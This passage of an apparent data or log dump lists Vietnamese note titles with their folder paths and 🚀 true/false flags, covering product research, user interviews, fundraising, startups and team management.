"⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Một số ví dụ về mục tiêu nghiên cứu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Nghiên cứu người dùng không nên là một bước, mà nên là một hoạt động diễn ra liên tục" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Nếu có thể phỏng vấn liên tục thì không gặp phải áp lực hỏi quá nhiều" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Phần lớn các câu hỏi nghiên cứu không thể sử dụng để hỏi trực tiếp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Phỏng vấn là để hiểu vấn đề người dùng gặp phải, không phải để cải thiện giải pháp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Phỏng vấn người dùng nên được diễn ra liên tục, tốt nhất là hàng tuần. Khảo sát thì không nên nhiều, mỗi quý một lần là được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Trong nhiều trường hợp, kết quả phỏng vấn bị rơi vào quên lãng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Trả tiền cho người phỏng vấn sẽ khiến họ làm việc chuyên nghiệp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Tìm hiểu vào bối cảnh, không chỉ hành vi đơn lẻ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Việc phỏng vấn làm ta mệt và muốn nghỉ ngơi, nhưng ta vẫn phải tiếp tục làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "❓Có nên phỏng vấn một người nhiều lần để vét cạn suy nghĩ của họ về các giả thiết của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "❓Có nên yêu cầu người tham gia phỏng vấn phải đọc trước cái gì không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "❓Có nên đưa câu hỏi trước cho người tham gia phỏng vấn biết trước không. Có nên cho họ coi kết quả ghi chú của mình không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "❓Làm sao để cho họ tiếp tục nói hết ý của mình khi mà họ không có nhiều thời gian cho mình, và mình cũng không có nhiều tiền để trả họ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "❓Người dùng thấy không hiểu ý đồ của mình và giải thích nhiều vì nghĩ là mình không hiểu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Sự miễn phí chỉ có ích khi ta cần phản hồi của người dùng, hoặc khi nền tảng của ta cần hiệu ứng mạng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "❓Với những người mà mình biết sẽ có cố gắng tìm hiểu mình, mình nên tiếp tục cho họ thấy mình có những thứ họ cần, hay là cho họ thấy mình là như thế nào" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người giúp đỡ sẽ khó có động lực giúp nếu không thấy ý tưởng mình rõ ràng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Những câu hỏi đánh giá tác động đòi hỏi phải nghiên cứu sâu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Ý tưởng với hiểu biết sâu đều là giả thiết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "❓Hiểu biết sâu thông qua việc bắt tay vào làm, hay hiểu biết sâu thông qua việc nghiên cứu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "❓Khảo sát để lọc ứng viên phỏng vấn khác gì khảo sát để xác nhận phát hiện mới từ phỏng vấn trên quy mô lớn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Ngôn ngữ của người dùng và ngôn ngữ của người cung cấp giải pháp có thể khác nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Người dùng hài lòng với chất lượng sản phẩm, không phải tốc độ làm ra nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Người dùng yêu cầu tính năng không có nghĩa là họ sẽ dùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Những người viết phần mềm vì cả nhu cầu của mình và người giống mình" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Quan niệm, thái độ, hành vi của người dùng", + "Khoảng 20% người mở tab lên là tắt ngay hoặc để đó không đọc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Quan niệm, thái độ, hành vi của người dùng", + "Người muốn có giải pháp sẽ muốn đọc nội dung dài" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Quan niệm, thái độ, hành vi của người dùng", + "Người đã biết xài công nghệ sẽ muốn tiết kiệm thời gian" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Quan niệm, thái độ, hành vi của người dùng", + "Những tính năng khác của app hấp dẫn hơn tốc độ app, trừ phi nó quá chậm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Quan niệm, thái độ, hành vi của người dùng", + "Trong số những người chịu đọc, về trung bình họ dành ra 25 s đầu để hiểu giao diện, các tính năng khác và hình ảnh. Sau đó cứ 100 chữ thì đọc thêm 4.4 s, cỡ 18 chữ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Sản phẩm ra mắt 10 năm rồi cũng có thể không biết gì về người dùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Việc làm sản phẩm thì muốn làm thật ít chức năng càng tốt. Việc viết phần mềm đòi hỏi nên lên kế hoạch các chức năng kỹ càng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Đặc điểm của quy trình phát triển sản phẩm truyền thống là bước nghiên cứu xem ý tưởng có đúng không luôn đến sau việc nghĩ ra được ý tưởng đó trước" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "❓Có nên làm tiếp thị khi mình chưa làm nghiên cứu người dùng không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "❓Thu thập kinh nghiệm từ các blog cũng là xây dựng sản phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "❓Tung ra quá sớm sẽ dễ bị thị trường chi phối ngược lại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "❓Với một sản phẩm demo còn nhiều lỗi vặt thì có cần phải hoàn thiện những lỗi vặt đó trước khi hỏi ý kiến khách hàng không?" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Bán cho khách hàng", + "Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Bán cho khách hàng", + "Nhiều người thấy việc không thu phí thì chỉ làm cho vui, dễ bug" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọi vốn cộng đồng", + "Crowdfunding depends on highly visible public work" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọi vốn cộng đồng", + "Funder-exclusive writing should be a secondary by-product of primary work" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọi vốn cộng đồng", + "Getting Paid for Open Source Work" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọi vốn cộng đồng", + "Lý do thường gặp nhất của những người ủng hộ trên Patreon là để sản phẩm mà tác giả đang làm hoàn thành sớm hơn, hơn là để cảm ơn những gì họ đã làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọi vốn cộng đồng", + "Patreon không được thiết kế để có được sự tương tác trực tiếp với người ủng hộ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọi vốn cộng đồng", + "Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọi vốn cộng đồng", + "Patreon vận hành gần giống như một cuộc mua bán hơn là hoàn toàn ủng hộ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọn vốn đầu tư", + "Nhà đầu tư tìm kiếm tiền trong vụ đầu tư" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọn vốn đầu tư", + "Nhà đầu tư tốt nhất đầu tư vào những startup chưa có câu chuyện thuyết phục, vì khi đã có câu chuyện thuyết phục rồi thì startup có giá đắt hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọn vốn đầu tư", + "Nhà đầu tư đầu tư vào việc kinh doanh, không phải ý tưởng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọn vốn đầu tư", + "Nếu không thế nói về thành tựu của mình thì hãy nói về tốc độ của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọn vốn đầu tư", + "Thiên thần dùng tiền của bản thân. VC dùng tiền của người khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọn vốn đầu tư", + "Thứ quan trọng không phải là ý tưởng, mà là người có ý tưởng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọn vốn đầu tư", + "Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọn vốn đầu tư", + "Để gọi vốn thì rất cần nắm chắc những con số" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Gọn vốn đầu tư", + "Định giá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Không thể làm dự báo tài chính dài hạn khi chỉ mới có một vài người dùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Người cho tiền thấy mình đáng được cho tiền nhất khi không thấy mình cần tiền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Nhà đầu tư đầu tư vào bạn và vào câu chuyện của startup" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Trước khi gây quỹ cần biết mục tiêu của mình là gì" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Tài trợ từ doanh nghiệp, CSR", + "Hãy loại bỏ quyền lợi truyền thông tài trợ ra khỏi tài liệu mời tài trợ" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Tài trợ từ doanh nghiệp, CSR" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Tài trợ từ doanh nghiệp, CSR", + "Ít có doanh nghiệp nào làm CSR mà thực sự đặt vấn đề phát triển cộng đồng lên hàng đầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Việc thuê ngoài chỉ giải quyết được một lần, trong khi phải thử rất nhiều lần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Xin quỹ nghiên cứu", + "30% of the pivotal papers from Nobel laureates in medicine, physics and chemistry was done without direct funding" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Quỹ, gọi vốn", + "Xin quỹ nghiên cứu", + "Kinh nghiệm gây quỹ cho dự án nghiên cứu độc lập" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Chiếm lĩnh thị trường nhỏ trước" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Hiểu về quản trị chỉ cần thiết khi đã có thành công bước đầu. Trước đó thì hãy chỉ tập trung vào sản phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Làm người sáng lập có hại cho việc cân bằng cuộc sống" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Làm thứ phức tạp hơn thì dễ, làm thứ tốt hơn thì khó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Nhà đầu tư không ăn cắp ý tưởng vì phải cạnh tranh với các nhà đầu tư khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Những dự án ngoài lề thường là ý tưởng tốt cho startup. Những ý tưởng chỉ để có một startup lại thường không tốt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Quá trình chú ý và ghi nhớ ép ta phải đơn giản" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Startup = tăng trưởng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Startup giải quyết những vấn đề nghe thì tồi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Sự đơn giản ép ta phải làm nó cực kỳ tốt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Việc kể ý tưởng startup ra thường không phải là nguy hiểm, vì không ai cạnh tranh với ý tưởng tồi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Ý tưởng startup lớn thách thức căn tính của bạn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Startup", + "Đừng nhìn vào đối thủ cạnh tranh, mà hãy nhìn vào người dùng" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Thành lập dự án", + "Trực giác về con người thường đúng. Trực giác về cách startup hoạt động thường sai" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Gốc của thương hiệu là văn hoá doanh nghiệp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Không nên có quá 20 nhân sự khi chưa có sản phẩm phù hợp thị trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Kênh liên lạc", + "Bội thực chat nhóm gây phân tán nguồn lực, mất tập trung, tăng rủi ro lộ dữ liệu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Kênh liên lạc", + "Có sự đánh đổi giữa quá tải thông tin và cập nhật thông tin kịp thời" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Kênh liên lạc", + "Việc muốn các thành viên sử dụng Discord thay cho Facebook hay Zalo thường khó khăn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Phân cấp, quản lý", + "Người người vạch chiến lược hay nhiều khi được giao triển khai luôn, hoặc người làm chuyên môn tốt nhiều khi được đề bạt lên làm quản lý, lãnh đạo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Phân cấp, quản lý", + "Người vượt qua khủng hoảng có câu chuyện hấp dẫn hơn người tránh được khủng hoảng ngay từ đầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Phân cấp, quản lý", + "Vị trí càng cao trong tổ chức thì đề xuất càng dễ bị cấp dưới hiểu thành yêu cầu phải làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Sociocracy" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Thảo luận, ra quyết định", + "Thảo luận có tính xây dựng là để tìm kiếm sự hiểu nhau, không phải để tìm kiếm sự đồng ý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Thảo luận, ra quyết định", + "Việc có quá nhiều ý kiến làm ta thấy loạn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Thảo luận, ra quyết định", + "Đa số những lúc cần phải ra quyết định thì đều có nhiều áp lực" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tìm người làm", + "Có nhiều người đăng ký tham gia nhưng chỉ để thoả mãn sự tò mò" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tìm người làm", + "Không cần kiếm thêm nhân sự khi không thấy quá nhiều việc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tìm người làm", + "Tìm được người cùng muốn làm chung với mình và đủ rảnh là rất khó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tìm người làm", + "Từng làm chung với nhau trước khi tuyển dụng sẽ tốt hơn là phỏng vấn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tạo sự tin tưởng", + "Có một quy trình đánh giá năng lực định kỳ sẽ làm giảm vấn đề khi tăng lương hoặc đuổi việc nhân viên" +] + +🚀: false +[ + "", + 